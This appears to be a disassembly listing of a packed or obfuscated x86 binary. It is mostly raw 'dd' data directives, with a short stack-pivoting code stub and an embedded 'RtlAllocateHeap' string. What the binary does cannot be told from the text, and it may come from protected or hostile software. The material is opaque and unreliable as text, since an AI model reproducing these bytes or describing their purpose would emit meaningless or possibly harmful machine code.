		dd 321566CDh, 63743C22h, 0B9317AE6h, 0F6944284h, 32156640h
		dd 321CE72Dh, 0B2756611h, 8973625Ch, 6574AC82h,	25BFDF73h
		dd 0DB945B05h, 724E24E1h, 35E08FC5h, 0DB942A41h, 61E1D76Eh
		dd 0F34CA901h, 0DDD463A3h, 0B3CA9121h, 100BBBFEh, 0EAFAE7C9h
		dd 0B3173047h, 31787ECDh, 6DEC47BAh, 309469E8h,	0B9156644h
		dd 53ABD6D0h, 5F5BDE41h, 0F13C3657h, 0B3DE4F1Ch, 0ED7828E1h
		dd 0B79E9A41h, 343D6299h, 32156BADh, 8C207E22h,	5E431B0Dh
		dd 1AA47C53h, 0A79EAA8Eh, 343D669Bh, 9AA0071h, 32068EE9h
		dd 5AB36644h, 0D51C2462h, 135E0C9Bh, 0C7BDF6CFh, 0B25767BCh
		dd 0DB940025h, 534ED2CFh, 30D0DB0Bh, 3D14606Ch,	0CDE219A6h
		dd 0B37306EEh, 3DB5EF53h, 0CA74BEFBh, 0B01ABE19h, 32156603h
		dd 3DC65F7Dh, 0CDF8B4C2h, 5DA606DDh, 0E7D2E777h, 8D420729h
		dd 409A7719h, 0B3C2916Dh, 99083ED6h, 36E2E7ADh,	335985B0h
		dd 3DFC39DCh, 0B9156611h, 0C4D1CE01h, 0DA533D63h, 0F7EB9191h
		dd 0DE94019Dh, 3215668Ch, 6B3152CDh, 0FCD4E7DEh, 0B30E2C62h
		dd 0D8492061h, 0B3EC4F77h, 0D84920E3h, 0FCFCE722h, 520E2CFBh
		dd 53D4EDB8h, 3210D874h, 0C33C6611h, 0B1315203h, 3CFC6280h
		dd 41156622h, 0FA1D8DE8h, 8CE36B81h, 36BE1A1Bh,	1CA03724h
		dd 0B2138BD1h, 0DF95BE7Dh, 0B2C890D9h, 0DA9D4AD7h, 0B1316A9Ah
		dd 98E0624Ch, 321563ADh, 5F0E9D22h, 5A4513F4h, 32152F5Eh
		dd 6A316ACDh, 5443067Bh, 6AE185A9h, 0D7B70232h,	0DBBE0762h
		dd 32156629h, 27490875h, 5836E3F6h, 0DB0065EEh,	0CDEAB5A0h
		dd 3205EA1Eh, 0DA756688h, 32156642h, 852EB430h,	524C25A0h
		dd 884707E9h, 4567756Ch, 213D8CA3h, 0C0141163h,	0DB4F6402h
		dd 32156643h, 75FEC8F6h, 0E90B55Bh, 3916960h, 52156644h
		dd 6C44B5A8h, 33906970h, 0C7156688h, 2A1AD913h,	0C5944027h
		dd 14107E1Eh, 0E9E9E01h, 36D1E760h, 0CA156622h,	3214F6F8h
		dd 339D6988h, 0CB156644h, 3241F04Ah, 1609EF11h,	319D69E8h
		dd 3D156644h, 54429F95h, 686A4EA8h, 884730E9h, 5F857F3Eh
		dd 36313223h, 0D9943D4Bh
		dd 5F857FF2h, 33AC37BCh, 33156622h, 0B90C65E0h,	0F6964284h
		dd 2D9E6940h, 52156622h, 32156BF9h, 3D586F88h, 5C5CA6D7h
		dd 5D43D80Dh, 0DB4C8DDEh, 3215668Dh, 99BE87EEh,	644707C7h
		dd 6D49B2AFh, 6EC4DCB2h, 0C0245C1Bh, 68C6677Ch,	321572F8h
		dd 97B4F188h, 0E124C0EDh, 85B21D98h, 8CD2A7ECh,	45FAB136h
		dd 0F299D609h, 0CD3961CAh, 0FAEB8EC1h, 52EC7EA4h, 0A84ADE22h
		dd 32156BCBh, 0C6CD6111h, 0BB7DD378h, 0D2FD4B7Bh, 987413A2h
		dd 0E2FEE7E4h, 1B6620DEh, 0E2AC37BFh, 33662074h, 3EFC3FDAh
		dd 0C4156688h, 1A6EF334h, 9650AE46h, 6229FA7Fh,	32156230h
		dd 0B9D64F44h, 0F6964226h, 32058F15h, 0D3A06688h, 0F03A8478h
		dd 301DB31Eh, 292940Bh,	0EA24F67Dh, 0EA24A575h,	321572CBh
		dd 61D3B111h, 7F5F67B8h, 0A0258816h, 0CD470298h, 487E1FB3h
		dd 0B71ACDC4h, 32156645h, 1609EDD7h, 0B3F7EF43h, 3215624Ah
		dd 36D7E544h, 6E3172A5h, 0CA9E0071h, 0DB4C36E8h, 3215664Ch
		dd 443FDA0Ah, 73AA897Eh, 22FC07E9h, 0EA156644h,	0D2F1B8AAh
		dd 0B81CE9FDh, 0AE227174h, 6520EB93h, 3215639Dh, 78FBE711h
		dd 330DC6C5h, 78D3E7BAh, 6D0DC66Fh, 36F9E5EDh, 8F314A01h
		dd 48B6432h, 53E8ED9Ah,	6FFD67D8h, 35FCA571h, 0D156644h
		dd 7230EEEh, 0BB43119Dh, 36D3E76Eh, 0B3156644h,	321562CCh
		dd 1621E111h, 1619EFD4h, 321563ADh, 0C63FD22h, 0CD739299h
		dd 544300BEh, 54434CFAh, 30311223h, 6A733877h, 643F4BEEh
		dd 321E8F24h, 0C1A76622h, 8935852Fh, 5DD9329Ah,	321A8E21h
		dd 983A6622h, 0CA3E4C7h, 24AB8940h, 0C41EDE44h,	321B8FDEh
		dd 0DF416611h, 4A2E0BA1h, 7B9C2CE1h, 0B746CB7h,	0F1290749h
		dd 3308E287h, 54756644h, 0B3739FA9h, 538F76C9h,	0B61AADB4h
		dd 3215674Fh, 0C09E0042h, 3C9D6970h, 52156688h,	3215EE4Bh
		dd 0FC946622h, 4BAFC497h, 3DD75AE9h, 32146EC0h,	33956922h
		dd 0CE156611h, 0B61AACB4h, 321566BDh, 0CD2800DAh, 9916934h
		dd 52156689h, 3D2CD324h, 321566A6h, 0B9730711h,	3D75077Bh
		dd 54749DF3h, 3DEA481Fh, 32152994h, 32138F88h, 7F5C6644h
		dd 62EBFEDh, 5510DF40h,	0E3E24E1Fh, 0B3CC9105h,	0A57265CBh
		dd 0B8E46739h, 61E03F89h, 0F195B0F7h, 73A03718h, 0C795A3EFh
		dd 0B2D09849h, 0DF955481h, 6BFE4E2Dh, 0F9EBADEFh, 129CA508h
		dd 0EE93D9Ch, 3A916982h, 0CB156610h, 63316A03h,	0F39487CDh
		dd 32156626h, 3211A790h, 3E926688h, 38FC3A60h, 0CC156622h
		dd 0E624C77Ah, 4921D5BFh, 9750E2Dh, 269C6622h, 5AEEDC35h
		dd 0C9AD22F7h, 351192Ch, 0BD1A3CF2h, 3215661Ah,	0DAF3E7E8h
		dd 0B24C3357h, 0DB74B8F6h, 32156776h, 32156861h, 0FC2AB244h
		dd 0CBDEF58Ah, 0CAD0C4C2h, 34E6179h, 8946938Dh,	32156623h
		dd 0CB4EBF10h, 3215CD61h, 349F6944h, 52156622h,	53759C9Bh
		dd 797D34E9h, 684FA81Dh, 0C5128CE3h, 81D7E7CBh,	620C82A4h
		dd 0B408F4FCh, 60656315h, 0F014C95Ah, 68C4EFD0h, 320BE14Bh
		dd 0BE1A6622h, 32156609h, 32157561h, 30BE444h, 0B5EA3B99h
		dd 0C1C1BBA6h, 0F0CA2090h, 0DEDF2E48h, 321535CBh, 347D9E11h
		dd 0B9156688h, 0F6944248h, 32156626h, 0F9E5E771h, 54238C8Eh
		dd 0BCF597C5h, 3FC9F43h, 0DB156611h, 3215669Bh,	0FACFD433h
		dd 0A69B5D49h, 0DA814B22h, 0A1DDB489h, 62D70CAFh, 3215619Ah
		dd 0B9D4EF11h, 0F694428Ch, 32156640h, 0A4AB0042h, 53D4ED56h
		dd 21FCC27Bh, 0C8156644h, 1DEEC262h, 9C6485D4h,	0FC9D0EF6h
		dd 3DAEFDE7h, 0BF9E3C13h, 343D66A8h, 0F39400E8h, 8B73A7F9h
		dd 0B774585Dh, 2F9069D8h, 3D156688h, 321576C2h,	321E8F22h
		dd 0CC986611h, 5AC980Bh, 0D0B8513Ah, 8BA0EFD4h,	0CA134E11h
		dd 63316A03h, 0F39487CDh, 32156626h, 3211A790h,	3E926688h
		dd 0BE1A3A60h, 3215662Ah, 32966971h, 53156688h,	58E7DC16h
		dd 0C1AD3E84h, 1B4DC07Bh, 1601ED58h, 3211A2C5h,	3D756622h
		dd 32156496h, 65740688h, 0F1ED071Eh, 321561CBh,	0FD5E111h
		dd 0DFA5AB71h, 54239922h, 8FAE0071h, 6E240011h,	697364ACh
		dd 7733E22h, 0EEC669Fh,	0CF9169D2h, 3D156689h, 321567CEh
		dd 34FC9322h, 0AD156611h, 6210E296h, 476C0E7Ah,	3E9C6622h
		dd 0BAD0EE35h, 34FC3F63h, 0C5156644h, 0F549C6EEh, 87A437C2h
		dd 62B58708h, 210EF4h, 0F24DA70Ah, 0F3EB65F0h, 0B2258F08h
		dd 0F93597B5h, 2694697Bh, 0DB156611h, 32156687h, 0DC55827Ah
		dd 0AF405494h, 8EFAB050h, 0CEEA35ABh, 3D659DC4h, 32169CA6h
		dd 32078F11h, 121B6688h, 0D7C05578h, 8FB4594Fh,	4C71C0F3h
		dd 190FB3CEh, 0B61A8F78h, 32156756h, 3DFE5AE8h,	32140D0Ch
		dd 86AE0644h, 0DB3C5E1Ch, 32156602h, 0B92099D3h, 76B87FC6h
		dd 0E5D61809h, 62D530Bh, 531FB2A6h, 321561ADh, 0E0CCE222h
		dd 86F245E1h, 0B61AA4B4h, 3215677Ch, 0E1A26942h, 0AF438E90h
		dd 0E745E14h, 1791698Fh, 0DB156623h, 3215661Ch,	0A9C89AD0h
		dd 11510329h, 4D4165F9h, 0CD280076h, 3B9169ADh,	3D156645h
		dd 32157FA2h, 32018F11h, 0FD6688h, 5B061A23h, 5B7EC091h
		dd 42617F8Ah, 0C6807D8Bh, 0F829A13Bh, 32F7E22Dh, 3FFC6611h
		dd 7A156688h, 0B66D82F2h, 4582C38Dh, 7CE8F494h,	32157661h
		dd 66661844h, 171E3B4Dh, 0F6844CD8h, 0A3FF0D41h, 3DF65A40h
		dd 32167CA6h, 39FD0611h, 8B156688h, 3A44A71Bh, 2855B6DCh
		dd 8D1A59B9h, 3FFD3E52h, 57156644h, 6E8B613h, 6595944Ch
		dd 0D03F968Bh, 6BEED94Bh, 1C280043h, 779069EEh,	52156688h
		dd 53DBD14Bh, 3217DD71h, 0C1146611h, 3215DFD9h,	0EB146644h
		dd 694C67A8h, 0D2A635E4h, 0CC478508h, 0B2F6B68Fh, 8047B3C9h
		dd 68C65648h, 524EBEA8h, 3DDFED22h, 321567A4h, 0E749311h
		dd 0B916928h, 0CA156644h, 65AB3073h, 0BB5CA524h, 0D3C43879h
		dd 58BB8FC5h, 0FA9CF5A4h, 32078F48h, 6D336688h,	202B2650h
		dd 816ED07Bh, 9613A2A9h, 17727B9h, 321507ADh, 33996922h
		dd 0CB156611h, 32ACD301h, 0B61A606Ch, 3215662Eh, 321561F8h
		dd 9B607488h, 78729612h, 0A75FFBAFh, 0BE1A603Fh, 32156689h
		dd 52C699BCh, 0B375ADA9h, 0BCA554D7h, 0CA7407A1h, 3233062Ch
		dd 1619EF22h, 321567A8h, 6BDDEF88h, 32198F24h, 0F69E6622h
		dd 8284983Ah, 1F575A49h, 0B973FA89h, 0DBD607ECh, 32156600h
		dd 0F84227A4h, 5BB602D5h, 0BADC801h, 76042AF9h,	5CDA0E97h
		dd 369C6644h, 339E6906h, 0CE156611h, 3205DCDAh,	0F0946644h
		dd 344059DFh, 0D8949410h, 34405975h, 0DB4F64CFh, 32156636h
		dd 7A9A23E4h, 695A1B7Fh, 0D58FA6EAh, 0C3C18DE7h, 93DEBDBAh
		dd 1F48E301h, 3D75606Ch, 321560ADh, 5DF5E711h, 5252168Eh
		dd 534F30B1h, 369E9F43h, 0D79C3335h, 3211A309h,	0F7946644h
		dd 32156626h, 6E314A96h, 89463374h, 32156658h, 334EBBABh
		dd 0B3753BFFh, 84060A56h, 0C19E0002h, 0D7A8EB43h, 52134E39h
		dd 8D730674h, 0D79F9EF2h, 0CEB80743h, 772BD847h, 0F4942E86h
		dd 0E80465E5h, 314B960Bh, 37314255h, 100A2E57h,	321FEA4Bh
		dd 3D756622h, 0B373A0AEh, 53CC3A57h, 0B37306EFh, 3DA7A8F2h
		dd 3215669Bh, 22FC0788h, 0DF156644h, 1CE91524h,	407FBFDh
		dd 5E248FF7h, 0BFC177B8h, 1A14539Fh, 2B986917h,	52156688h
		dd 0DBD4ED22h, 3215662Dh, 6155B985h, 10FD3982h,	4634E029h
		dd 5398CE7Ah, 0DB75CBE9h
		dd 3215669Bh, 805D8282h, 0F615D497h, 0B7347F1Fh, 0BFF23494h
		dd 0CE7B3101h, 6E116343h, 761666D9h, 8C4342ACh,	71E31F2Ah
		dd 0B3C39164h, 3E153BF7h, 0DDF3E788h, 0F3051B63h, 0F49463CCh
		dd 32DD7A15h, 3D4B96A1h, 321572C9h, 321A8F22h, 5B656611h
		dd 82182AAh, 4590EC3Ch,	49FA4DC1h, 4C260E8Bh, 369C6688h
		dd 0C0950660h, 0CEBE07EDh, 321563F8h, 447B3888h, 8F9833CFh
		dd 343D61ABh, 321568F8h, 0F5D8A088h, 50B621FEh,	12D374AFh
		dd 9F9C9A55h, 32156361h, 2387F744h, 9D10C430h, 3130296Eh
		dd 633D42CCh, 7D6AC9FDh, 6BDD4F07h, 0BC1ACDE8h,	32156689h
		dd 1621EDB1h, 0B3F3EF74h, 321562D7h, 36D3E788h,	0B5156644h
		dd 0DB494216h, 32156614h, 0DBCD24E1h, 3EFCA510h, 0CF156622h
		dd 0C382B990h, 0CDAB700Ch, 5AC7293Ah, 32150BDBh, 0C7315298h
		dd 0A66BFB05h, 0B71A606Ah, 32156623h, 0CBC699E9h, 0CDE82561h
		dd 359369BBh, 3D156622h, 3215679Eh, 0CEDFF800h,	0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 6ADA83C0h, 0A8ED96A4h, 458A152Ah
		dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah,	162C5E89h
		dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah
		dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah,	54A851D6h
		dd 0BA8660D5h, 0CE2559D7h, 43A55EE1h, 0F632DCF1h, 0BA8C3A66h
		dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 7BE38A38h
		dd 0DF07462Ch, 52871D00h, 3C6D5h, 5492B85Eh, 3075152Ah
		dd 5CDDAEAEh, 0E6D8FA7h, 0D9FB578Dh, 6AC6B7B0h,	0DD7BAEA4h
		dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 0A732DCAAh, 168C3A61h
		dd 180ACB2Fh, 96751305h, 0BD54142Bh, 458A152Ah,	0A8EDDAC3h
		dd 4582D7E3h, 3044BAh, 16EB00h,	4 dup(0)
		dd 1000000h, 3DC01h, 6A062F00h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 337C352h, 0D1BC4510h
		dd 0B2DD806Fh, 0BB525090h, 74EC4B75h, 0C88A310Fh, 0F50585Ah
		dd 0B8Ch, 6E900h, 8E1C0000h, 29322277h,	50006A90h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 21556E8Fh, 0BF0F006Ah, 6A006ADEh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0DEFFC350h
		dd 8D770F51h, 2F52BE85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0DFBD2C88h, 820F57B3h
		dd 4, 0CB77BB66h, 5250905Ah, 9E9h, 1DFD5B00h, 0F5C62168h
		dd 310F7BD6h, 0B85F5760h, 2038F1DCh, 50585A61h,	820F5760h
		dd 0E9830000h, 8BA4F305h, 5ABEE4CBh, 28ABB132h,	4D25CB85h
		dd 706E30F2h, 0DDBEA6C2h, 4D34BEDEh, 365DB132h,	133178B3h
		dd 58BEA7E8h, 0C8ABB132h, 66511ACEh, 0D535BCDAh, 14782CDBh
		dd 5E983A6h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh,	55849717h
		dd 3FD525FBh, 0B7ADFDF5h, 22915ACAh, 7ACFB734h,	29B723ACh
		dd 7A1A20ADh, 277975FDh, 43BF987Ch, 0FFA073D2h,	0E98342A9h
		dd 8BA4F305h, 47BD8DDBh, 8D062F80h, 3006358Dh, 6644B806h
		dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h,	1880FF6h
		dd 0F9000000h, 18820Fh,	0E9600000h, 11h, 4C069C78h, 133A71F7h
		dd 555E790Fh, 9A30E6D1h, 815061B7h, 56822404h, 48B3CF9h
		dd 4C48124h, 2D000000h,	3CF95682h, 49BD83F8h, 62801h, 0BD830975h
		dd 62814C5h, 50197400h,	0B8C08B53h, 411h, 2E558589h, 9D8D0628h
		dd 62AA5C5h, 585BD3FFh,	14C5BD83h, 74000628h, 0B8535017h
		dd 411h, 2E558589h, 9D8D0628h, 62AA266h, 585BD3FFh, 10E9h
		dd 71E68000h, 0DB75F47Bh, 3CC4BEADh, 5EEE1F7h, 8952FCE2h
		dd 2C8152C2h, 0E75B5324h, 5305583Eh, 5A3EE75Bh,	33DE8160h
		dd 662330EAh, 0D3EAD281h, 66576061h, 5F559CB9h,	8027B866h
		dd 0EDE9F861h, 60000000h, 0A8D88C66h, 0DF840F04h, 8B000000h
		dd 2818B1B5h, 0FE8306h,	22850Fh, 85C60000h, 6280D25h, 69696845h
		dd 0B5FF8E72h, 6282DD5h, 6F58858Dh, 0D0FF062Bh,	2EFD8589h
		dd 0F08B0628h, 0FE93E80h, 3185h, 0C4858D00h, 0FF062D77h
		dd 0D1BD8BD0h, 81062805h, 1184C7h, 0B1B58B00h, 87062818h
		dd 8B9F7h, 0A4F30000h, 18B1B58Bh, 858D0628h, 62C1644h
		dd 0B58BD0FFh, 628207Dh, 0F00FE83h, 2285h, 2585C600h, 5406280Dh
		dd 4EBEF468h, 0D5B5FFFFh, 8D06282Dh, 2B6F5885h,	89D0FF06h
		dd 28207D85h, 80F08B06h, 850FE93Eh, 3Ah, 207DB58Bh, 858D0628h
		dd 62D77C4h, 0BD8BD0FFh, 62805D1h, 1184C781h, 0C7830000h
		dd 7DB58B08h, 87062820h, 8B9F7h, 0A4F30000h, 207DB58Bh
		dd 858D0628h, 62C1644h,	0C361D0FFh, 976858Dh, 85890630h
		dd 62822F1h, 5E8h, 0BCA5F200h, 0B70F5AB1h, 0C8815AF3h
		dd 0FD413E8h, 6F59C281h, 0CBB0000h, 811F0B6Bh, 0F4B0A4C3h
		dd 0F5360E0h, 8Ch, 8B615A00h, 10E83Ah, 9D260000h, 0D41F8E14h
		dd 142F24B5h, 0BF8BF90h, 0F6055B6h, 8Fh, 9E900h, 0ECF50000h
		dd 34A9752h, 61169075h,	25EF815Eh, 8B4E409Bh, 0FDC781F3h
		dd 6655DF75h, 0DF86EE81h, 0E7F7F781h, 0D6814A0Bh, 5F80966Ah
		dd 0AFBE6657h, 53028F48h, 4EA8358h, 0EB813FB1h,	1, 0FF99850Fh
		dd 8D0FFFFFh, 6, 23B86652h, 0BE95E32h, 53000000h, 1DA304h
		dd 0
		dd 25E90000h, 68000005h, 6300C74h, 0F874ACE9h, 0CDC68FFh
		dd 0A2E90630h, 68FFF874h, 6300E46h, 0F87498E9h,	0D5CB9CFFh
		dd 88865458h, 393B070Bh, 0F0E6B8BCh, 0A4A26F73h, 87762427h
		dd 3B3FBCBAh, 0F1F5726Ch, 0A3A72426h, 365CD9D3h, 989840A6h
		dd 0C99C7943h, 0E046A654h, 7F739338h, 10E67A3Ch, 6C204543h
		dd 0E04D69Ch, 0EF140ADCh, 3424A107h, 0ADAB7861h, 0CE3AA088h
		dd 921814AAh, 73E8EC2Ch, 96C6887Fh, 0B521EB23h,	7312894Fh
		dd 55E9AB7Fh, 16CDF45h,	0CC8E755Bh, 61B3A7h, 145A795Bh
		dd 0C29BDE5Bh, 0F81BC159h, 48000002h, 390C84E5h, 0F87DEA52h
		dd 47AD514Bh, 74D1B7DBh, 0C3A46BEBh, 82B91F2Fh,	0F4755B66h
		dd 4066C632h, 6A527771h, 5B7E20F8h, 0FAA6DC79h,	0C7BF5160h
		dd 501B4D0Fh, 0AD41294Eh, 0A01C577Dh, 5D86430h,	0F95074E0h
		dd 40C02522h, 0A1E6369Ch, 0D0927CFDh, 0CB353A6Ah, 4ECF54CDh
		dd 0A544AABAh, 1B76D536h, 52A28F5h, 9F2D891Dh, 0F8ACD1D3h
		dd 60C62C2Ah, 0ABC89B3Bh, 965CD93Fh, 0BC7E7CEDh, 6CCF050h
		dd 0B8D020F0h, 904E98C8h, 65A46360h, 312BFBD1h,	0BB5276B4h
		dd 0FBBC670Dh, 0E0B0861Ah, 9E1F78E6h, 0FCD7B78Ch, 2F945h
		dd 0A59B6C00h, 58562428h, 90BD7DBh, 0C0B6888Ch,	74723F43h
		dd 57A6F4F7h, 0B0F8C8Ah, 0C1C5423Ch, 7377F4F6h,	62CA9A3h
		dd 9FC81076h, 996C7943h, 421F424h, 88143298h, 0B6787523h
		dd 5957244Ah, 0C28FB5C5h, 764347C4h, 0A25F5378h, 46794398h
		dd 0C8107676h, 6C794398h, 0AB1113DEh, 1280D745h, 512CBE62h
		dd 2919Ah, 3D330400h, 0F0EEBCC0h, 0A1A36F73h, 584E2024h
		dd 0C0AD7DBh, 0EFDE8C8Fh, 0A3A72422h, 595DDAD4h, 0B0F8C8Eh
		dd 9EC4413Bh, 9F70A80Eh, 31047943h, 421F4BCh, 88143298h
		dd 9EC47523h, 0C2B0D5CFh, 4398BC5Ch, 90F6B879h,	36D70860h
		dd 9E323F52h, 0ECE2B442h, 0AB6D6186h, 537943A0h, 0B1658A84h
		dd 0E6C0E5E3h, 8AFBB56Eh, 6B0E8B44h, 27C1615Eh,	0A8BB61C7h
		dd 74437943h, 0B56D557Ah, 64735FF3h, 0A0000001h, 7D4A10E0h
		dd 87AD197Fh, 0E195BABCh, 7EF1416h, 90440DA1h, 2F2DFAC0h
		dd 3BF2220Ah, 6E5BE70Fh, 0E8D855BBh, 5E84F015h,	0ECFC9092h
		dd 9E94668Ch, 0E7FD9179h, 755BB4FCh, 0ACD03CFEh, 1189E35Dh
		dd 0AC7509F9h, 5BE864B8h, 60195F79h, 59A696E3h,	3420C1h
		dd 0F44D0000h, 32980421h, 755BBEABh, 0F2E60BCDh, 795B862Eh
		dd 0DA9A5399h, 0C2E7E9B4h, 7946DAh, 0B6C15944h,	0A4h, 9048AE0Eh
		dd 0A4795BB2h, 0E2E4B0E2h, 10E0134Eh, 703DF116h, 0C9994D72h
		dd 26F6AACFh, 0C89AC02Ch, 0D91D3ED2h, 7F738E39h, 9A1711E1h
		dd 42AED7AAh, 0BE524C1Ch, 34DF48AEh, 51DD755Dh,	0D8B3577Dh
		dd 470D64Ch, 3EDE44A4h,	3A7959A6h, 410EE478h, 2888C643h
		dd 59A61AC2h, 0C85C1E79h, 0B92725F2h, 0BE782CE8h, 27722904h
		dd 9A000001h, 5256D3C9h, 5098684h, 0B6BA3739h, 6D71EEE4h
		dd 2225A2A0h, 0BAB88574h, 706A393Dh, 2224EFF3h,	0D7D1A1A5h
		dd 3EA4345Ah, 79439D9Eh, 0E052C79Ah, 94981513h,	0E44DCAC4h
		dd 0F11610E0h, 0F6736D3Dh, 0DC483306h, 0D038F2B5h, 7CE24EB4h
		dd 755BDEF6h, 1A40AC6Eh, 8ED24F4Dh, 795B7A4Ah, 2DAAA474h
		dd 0F2585C29h, 795B7A2Ah, 1268C4Eh, 0DC7BEF13h,	37DD33B1h
		dd 0ACCAA3h, 0F4D10000h, 38980421h, 73930AD2h, 0D86C2E7Fh
		dd 704268C8h, 0D96D557Ah, 2388E7C3h, 10810D75h,	0F7054069h
		dd 44F81D83h, 0E3E1AE74h, 470D6BEh, 0F9E3EA4h, 0D89A7943h
		dd 4F1F2344h, 9ABFB989h, 33274CB2h, 86F6229Ah, 0A127E058h
		dd 0AD6BD1D1h, 0C75EB022h, 806D305h, 2995FBE3h,	0D7A58505h
		dd 0B076AB71h, 0DB0BCD5Eh, 0D66AF494h, 0E7E1B1B5h, 403C0EC2h
		dd 0B00D02DAh, 0B5AA365Eh, 3C78ED86h, 42AE147Ah, 0BD514F1Ch
		dd 0DB9428F4h, 0E8B8555h, 1B403A0Ah, 3A3C072Dh,	0C0992D15h
		dd 0Eh,	3200CCF2h, 0D0026862h, 37720600h, 0FE03A87h, 7040F419h
		dd 0D29D5176h, 28F7ABD0h, 8855092Eh, 0E4B1658Ah, 3B0DC1E6h
		dd 0A06C2045h, 0F7C5799Eh, 53FFD4F9h, 0C381E389h, 4, 8704EB83h
		dd 895C241Ch, 8956240Ch, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 242C895Ch, 1A2B68h, 243C8900h, 18A9B951h, 0BB537E18h
		dd 5F67707Ch, 0AB0EB81h, 0F3817869h, 40D148EEh,	4EBBEB81h
		dd 0F3814187h, 4EB956Ch, 0C15BD909h, 814907E9h,	0CF6980C1h
		dd 0EC18110h, 89F463E9h, 8B5459CDh, 0C481243Ch,	4, 242C8155h
		dd 7A345FA5h, 5608478Fh, 345FA5BEh, 877017Ah, 2434FF5Eh
		dd 4C4815Fh, 8B000000h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_551321
; ---------------------------------------------------------------------------
		dw 6CF2h
		dd 0ED8028B7h, 6492C2DDh, 300F92B8h, 0FFC50306h, 24BA8DE0h
		dd 194A8A21h, 3A0F9818h, 0C4888937h, 90BB8F33h,	0B84ACC49h
		dd 0D745586Bh, 70D19074h, 0DB1AF340h, 0E3A69470h, 42B3C671h
		dd 0B609C252h, 6B122D73h, 0BFED4D04h, 146B6B50h, 6254CE4Bh
		dd 31BF5C01h, 0B338F564h, 27DC2444h, 554A6F6Fh,	83CBED09h
		dd 6842A259h, 0EB508F2Ch, 25E96F1Bh, 0A3486E1Ch, 4AB6752Ah
		dd 0FA651D30h, 12205043h, 0BB0F2626h, 9C8D8D0Ch, 6A063011h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 4AC8C352h, 0B1D7605Eh, 7B03BB66h,	8D89F98Ah
		dd 6280715h, 29DB529h, 85C70628h, 62821BDh, 6414h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 17C35747h, 0C7F78B66h
		dd 28113D85h, 6, 39B5FF00h, 6A062804h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0B427C352h
		dd 0B3EBBBDBh, 9E90223h, 0ED000000h, 459B099h, 277F148Ch
		dd 14D995FFh, 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0A4ED51C3h, 0EDB39E16h, 6A37DEh
		dd 46595FFh, 0C08B0628h, 632C6EEBh, 2CAD3158h, 4D64CB70h
		dd 238199BCh, 0D9838F86h, 4DE79257h, 1523FE2Dh,	0D1D9259Bh
		dd 0EABFF2E2h, 0A5EC56FDh, 69EBA836h, 0CE72B1Bh, 4653BCFFh
		dd 0B9B82E10h, 0DE2B6499h, 1F3710A5h, 50F0A907h, 0C7B2933h
		dd 5A4CFBB3h, 622DE9B3h, 0D12F8727h, 12AE5DF8h,	36434EE9h
		dd 0D472DE6Eh, 568C5E3Eh, 0AA52F1BDh, 2F4121Bh,	74D2D5CEh
		dd 1CE9h, 50020C00h, 6C745248h,	6F6C6C41h, 65746163h, 70616548h
		dd 14000000h, 0
		dd 11BDE900h, 0A680000h, 0E9063014h, 0FFF86D9Dh, 30153C68h
		dd 6D93E906h, 0F168FFF8h, 0E9063017h, 0FFF86D89h, 3018E168h
		dd 6D7FE906h, 5268FFF8h, 0E906301Ch, 0FFF86D75h, 301CDD68h
		dd 6D6BE906h, 1C68FFF8h, 0E906301Dh, 0FFF86D61h, 301E5D68h
		dd 6D57E906h, 668FFF8h,	0E906301Fh, 0FFF86D4Dh,	301F8B68h
		dd 6D43E906h, 0FA68FFF8h, 0E9063020h, 0FFF86D39h, 30222868h
		dd 6D2FE906h, 6233FFF8h, 1DEBEF6Ch, 0D29EA21Fh,	7D4F53D0h
		dd 39060A87h, 0EFBBBE3Bh, 0D653511Eh, 8C0903D2h, 3EBBBD88h
		dd 0F3706A3Ah, 1D73DCDh, 33794381h, 80A6EB60h, 4D23B7B1h
		dd 0F117837Dh, 0C9922624h, 0DF4B4515h, 5222ECB9h, 0E54B3358h
		dd 51E5E7B3h, 709D488h,	0C98216E2h, 0DEAD7343h,	0FD017EE4h
		dd 0B1B53230h, 0D4C2E7E1h, 0C1E6DCAEh, 9F6F45D9h, 0DF1107D9h
		dd 33B01610h, 0E74D7043h, 7F739331h, 0AF1B8143h, 5E5C294Fh
		dd 92A9B4CAh, 9CB755Bh,	922CF0E4h, 4197795Bh, 0BF53491Bh
		dd 0E64606BFh, 5B925880h, 1AC22879h, 1E795B92h,	0B0E2A45Ch
		dd 0DBC3E8DEh, 2BFF7A47h, 2AB7C159h, 0E4000000h, 980421F4h
		dd 5BBEAB32h, 0E60BCD75h, 5B862EF2h, 9A539979h,	59445C1Dh
		dd 451036C1h, 49AFA577h, 0BCA83C24h, 0D0h, 0B180A6E9h
		dd 16AA92B7h, 51767040h, 3606D09Dh, 0FDB1D63Ch,	5A0E332Dh
		dd 0FE24908Ah, 80A1352Fh, 738EA73Ch, 7973437Fh,	6228F8FCh
		dd 0C3759A90h, 1BA07974h, 0B1177D87h, 0FC19EC8Ch, 7C872A90h
		dd 2145755Bh, 4C658D2Bh, 9DE7FC93h, 9844BE9Fh, 0B4429E32h
		dd 986ECE2h, 0B11D4619h, 7508374Bh, 1F8B4D73h, 0B12E2CF9h
		dd 74E2E0ADh, 0B400CC28h, 2832E9C4h, 0D600000Fh, 8E920F05h
